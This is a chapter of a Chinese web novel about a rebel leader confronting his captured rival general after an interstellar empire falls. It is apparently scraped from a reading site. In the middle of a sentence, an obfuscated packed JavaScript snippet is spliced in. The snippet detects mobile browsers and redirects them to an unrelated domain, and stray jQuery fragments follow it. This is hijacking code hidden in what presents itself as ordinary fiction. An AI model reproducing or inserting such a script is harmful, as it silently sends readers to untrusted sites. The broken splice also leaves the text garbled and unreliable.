星历3205年记:
黑蛛叛党攻破帝星防线,在最后一战中,大败帝国军队,奥利斯家族维系三百年的统治就此落下帷幕。
同时,第一军上将云砚泽落入黑蛛之手,第二军团长因战前倒戈,暂被扣押黑蛛留待查看。
星际论坛>>>
闲聊板块>>>星友灌水区>>>
>>>【关于帝国战败一事,星友们怎么看?】
1L:
普天同庆!!!万恶的帝国终于倒台了,我支持黑蛛统治全宇宙!
2L:
不是问大家怎么看吗?怎么点进来就是一个大祝贺啊?
3L:
帝国这么多年来压榨平民,劫贫济富的事干得少了?难不成你还希望真有人同情贵族那帮家伙[黄豆微笑]
4L:
说起来我看了最后一战的录像,白鹰和渊打得好激烈,没看错的话,黑蛛首领是不是被白鹰击落了?
5L:
是的,不过白鹰也力竭了,被周围的黑蛛成员俘虏了
6L:
都五天了,黑蛛那边还没有消息,他们首领不会是……
7L:
呸呸呸!快闭嘴,牧首领肯定没事,这会儿帝国里面乱着呢,肯定是忙到顾不上向星民汇报了!
8L:
没想到帝国真要变天了,也不知道落到黑蛛手里的上将会怎么样……
9L:
还有心思关心你们上将啊?
放心吧,就首领和上将的关系,指定有他好果子吃。
10L:
8L你是帝国的封建余孽吗?是的话滚远点哈,现在星际论坛不欢迎前朝的垃圾上网[鄙视][鄙视]
11L:
五天啊五天!黑蛛你们出来说句话啊!首领到底怎么样了!
12L:
8L这里零个人关心你的上将,你们上将粉现在最好夹着尾巴做人,保佑牧首领平平安安,他要是真有事你们上将十条命都不够换给他的。
……
在一众网友口中身负重伤、也许命不久矣的首领本人此刻却并不在病房抑或是宫殿中的任何一个地方。
安第斯在他前方领路,带着他走入一个窄小的地下入口。
“这就是皇室专用的刑讯地牢,里面关押的很多重犯都是我们的人,现在已经解救出来送去医院了。”
潮湿的霉味裹着淡淡的血腥气钻入四肢,尽管不是第一次进来,仍然冷得安第斯打了个寒战。
他立刻想到了首领身上的伤,正回过头要询问牧浔身体如何,却见红眸的男人面无异色,除却身前吊着的左手,几乎看不出他是从生死一线被救回来、刚刚苏醒没多久的垂危病人。
……也对,3s的恢复力和体质和他们还是不一样的。
耐心听完安第斯简单的几句介绍,又绕着嘎吱作响的楼梯向下走了两层,牧浔才呼出一口白雾:“他什么都没说?”
“是的,”安第斯迟疑地抿了下唇,“所有的审讯手段我们都用上了,但他说……”
“——他只和您单独聊。”
身后的首领意味不明地嗤笑了声,于是安第斯默默给自己擦了把冷汗。
叛党里……不,全星系上下谁不知道,这两位举世不出的3s精神力者是相见两厌、恨不得将对方杀之而后快的死对头?
他们私下还猜测过,是不是对方抢走了他们老大的白月光,才让首领一直怀恨至今。
毕竟身为最早陪在牧浔身边的左膀右臂,他比任何人都清楚——
比起帝国,牧浔看上去更憎恨地牢里的这位。
“到了。”
三层位于地牢的最底层,只留了两盏昏暗油灯,连个站岗的守卫都没有,安静得落针可闻。
任凭谁来了,也看不出这里面还关押着一位帝国的重犯。
“我们给他戴上了最新研发的精神力约束环,如果强行挣脱,会触发电流与抑制针。”
“地牢的环境不适合安排站岗,所以我们安装了悬浮监控,现在已经暂时关闭了。”
说罢,安第斯迟疑地看了一眼他受伤的左臂:“首领,需要我和你一起……”
“不用,”牧浔的目光略过他,径直落在最深处的那间狱房,“去上面等我吧。”
*
长靴碾碎地面的冰渍,在并不算长的走道里,落下一片散漫的脚步声。
他缓步走向血腥气最为浓重的地方,尽头的牢狱中,被铁链吊起的人影始终低垂着脸,对他的到来没有给出一丝半毫的反应。
脚步声在牢房前停滞了一瞬。
旋即,尖锐的推门声在死寂的地下蔓延,吊起俘虏的锁链忽然一阵哗啦作响,银发的囚徒被迫扬起脸来,耳边也传来谁人的低讽:
“还装睡呢?上将大人。”
俘虏的额头破了一个角,鲜血从伤口中涌出,蔓延过整一张脸,手下的人微不可察地轻颤了下,不多时,才睁开那双被血迹掩盖的、湖蓝色的眸。
牧浔微不可察地轻皱了眉。
云砚泽目光清明,那双蓝色的眸在他面上停顿半秒,便自然地垂落到他吊起的左手上。
牧浔低笑一声,松开了攥着他头发的右手:“很遗憾?没能将我一击毙命?”
俘虏的目光这才堪堪转开,看向他苍白的面色和勾起的唇角,两个昔日的宿敌再次相遇,偏偏各自都好不狼狈。
云砚泽喉间轻滚,沙哑地挤出了和他见面后的第一句话:“是你撞上来的。”
他那一击分明没有对准牧浔的要害,只是黑渊忽然发了疯似的,向他展露开最脆弱的死穴。
在他愣神的一瞬间,雄浑的精神力便猛然灌进他的脑核中。
事实证明牧浔赌对了。
他成功让白鹰彻底失去了战斗的能力,虽然自己也伤得不轻,但击落了白鹰,帝国剩下的军队就再也不成气候。
“可惜上将迟疑了半秒,”
牧浔盯着他双眸,替他惋惜道,
“不然我现在可就只能在地下,等着我的队员将你折磨够了,再送下来给我。”
被黑蛛审讯了整整五日五夜的帝国上将此刻可谓是形销骨立,身上的伤都还可以不提,精神海被牧浔重创的那一下对他而言才是最为致命的。
云砚泽偏了下头,想要躲牧浔伸来的手,却还是被对方掐住下颔,直直撞入那双冰冷而猩红的眸。
“听说你指名道姓要和我聊,”牧浔慢条斯理道,“一个阶下囚,也配和黑蛛谈条件了?”
被他指腹抵着的唇瓣干裂而泛着血丝,云砚泽眨了一下被血浆糊住的眼睫,声线却仍然平稳:
“再怎么样,你还不是只能来见我?”
“……”
牧浔暗暗磨了下后牙根。
云砚泽说得没错,帝国里那帮老不死的,早早就预料到了今天,提前给自己准备了逃生的通路。
更何况——消失得一干二净的前任帝王,手里还有足以摧毁一个星球的异兽大军。
偏偏是这个人……
他掐着云砚泽下颔的指骨力道逐渐加大,云砚泽也不躲不避,面无表情地和他对视,半晌,牧浔才卸了力,将对方的脸往旁边轻拧了下。
“说说,”再抬眸,方才的失态尽数散去,他又恢复原来那般神色,“要和我谈什么?”
*
“怎么样老大,”刚出了地牢,安月遥就凑了过来,“问出什么没?”
安第斯向他颔首示意:“地牢的监控已经重新打开了。”
牧浔的目光轻飘飘地在屏幕里那人身上落了一下,又很快移开了。
“他和我谈了两个条件,”男人弯腰坐进门口等候的全自动悬浮车里,“……我还在考虑。”
女孩和自家兄长对视了一眼:“什么条件?”
白鹰为达目的不择手段的作风名响寰宇,仅用了两年便从无名的小喽啰飞升到如今位置,能让他提出来交换的条件,莫不是……
牧浔:“一是要回一趟他的母星,第二则是……他要我们为一个人免罪。”
“免罪?”安月遥有些诧异地瞪圆了眼,“为谁免罪?不会是他自己吧?”
却见他们首领的目光冷了下来,牧浔能活动的右手一下下旋着左手无名指上的戒指,好半晌,才从鼻腔里挤出一声冷笑。
“不是,”牧浔面无表情道,“是他的副官。”
……
“尤安,隶属
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15475077|169937||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
于第一军团,曾任军团副指挥官,后调任成为第一军团上将副官……”
黑蛛的临时基地,某房间里,几个脑袋鬼鬼祟祟凑在一起,齐刷刷看向安第斯面前发光的屏幕。
安月遥用手肘推了下身边的小男孩:“我说赛尼尔,你觉得老大是什么意思?”
在她身旁的男孩长了一张可爱的娃娃脸,闻言皱起脸苦巴巴道:“不知道呀……”
牧浔在悬浮车上说完那句话后就没再吱声了,连周身的气压也降下了好几个度,这下好了,一屋子黑蛛的精英骨干,正在试图推选一个倒霉蛋去直面暴风雨。
毕竟就算牧浔需要时间考虑,地牢里那位该怎么处理,这个尤安还要不要继续追捕,他们后续的行动要怎么安排……
都是当下不得不解决的问题。
“你不是我们的狼蛛吗?大名鼎鼎的制毒师?”安月遥捂着心口,“实在不行,你给老大灌个吐真剂吧。”
赛尼尔白了她一眼:“哪有那种东西!要这么说的话你和老大关系不是最好的吗,你怎么不去问?”
“……”安月遥倒吸了一口凉气,“平时是平时,你又不是不知道,一遇上那个白鹰,老大就变了个人似的。”
她哪敢去触这霉头!
屋内又齐齐沉默了一会,安第斯低声道:“老师那边也一直没有消息,大战都结束这么多天了,我们还没收到任何通讯……”
那位“老师”教会了黑蛛如何躲过帝国的侦查,是黑蛛能走到今天,最功不可没的大功臣。
而这位功臣却在胜利的前夕,在敌人的大本营中彻底销声匿迹。
“不行!”安第斯忽然拍案而起,把屋内众人都吓了一跳,“说不定白鹰知道什么。”
“但我们不是已经问过……”安月遥下意识抬高了声线,“等等,你去哪!”
安第斯的声音从门后响起:“去找首领问个清楚!”
一众人面面相觑半晌,好一会儿,其中的短发女人才站起身,随意拍了下手:“既然已经有人选了,我们就静待佳音吧。”
牧浔的房间离他们开线上会议的小房间并不远,就在走廊的最末端。
“你认为他会知道我们线人的存在?”
听闻了安第斯的来意,牧浔沉吟片刻,并没有马上肯定或是否认他的猜想。
“所以你打算怎么从他口中撬出信息来?”
栗色头发的青年握紧了拳:“继续用刑,用赛尼尔的药也可以……总之一切能找到老师的方法我们都不应该放弃!”
牧浔的指尖在桌面顿了一下。
“可是……”他话音一转,“这几日的审讯,你不是都问过了吗?”
安第斯有些不解地抬头,才发觉牧浔面前的终端,正在播放着他昏迷这几天,他们对云砚泽的审讯资料。
他们首领不是从来不看这些的吗?
……不过白鹰身份特殊,倒也可以理解。
“我知道‘Wind’对你而言十分重要,”牧浔关掉面前的终端走向他,“相信我,他的存在对于基地里每一个人来说,都是一样的。”
他拍了下安第斯的肩膀:“帝国的信息库还有一周就能完全破译。”
老师的发信地址一直在改变,为了不暴露对方,他们之间一直是单方面联系的状态。
但在帝国庞大到可怕的信息库里,“Wind”不可能不留下任何痕迹。
安第斯大概是也想到了这茬,缓过些后,才想起来队友们交代给他的正事:
“那……现在白鹰要怎么处理?”
“第一军团剩余成员都被我们统一收编在观察室,但他的副官前几天就从帝星离开了,现在还不知去向。”
“还需要继续调查他的行踪吗?”
牧浔放在他肩上的手无端僵了下,很快收了回来。
以为是自己提起那人惹他不快,安第斯扶了一下眼镜,补充道:“如果没有别的,我们就按照前几天的审讯流程……”
“不用了。”
“嗯?”怀疑是自己听错了,安第斯愣了几秒。
“我说,不用再审了,”
黑发的男人微扬起脸,一双红眸移开视线,漂浮着落在半空,
“我来吧。”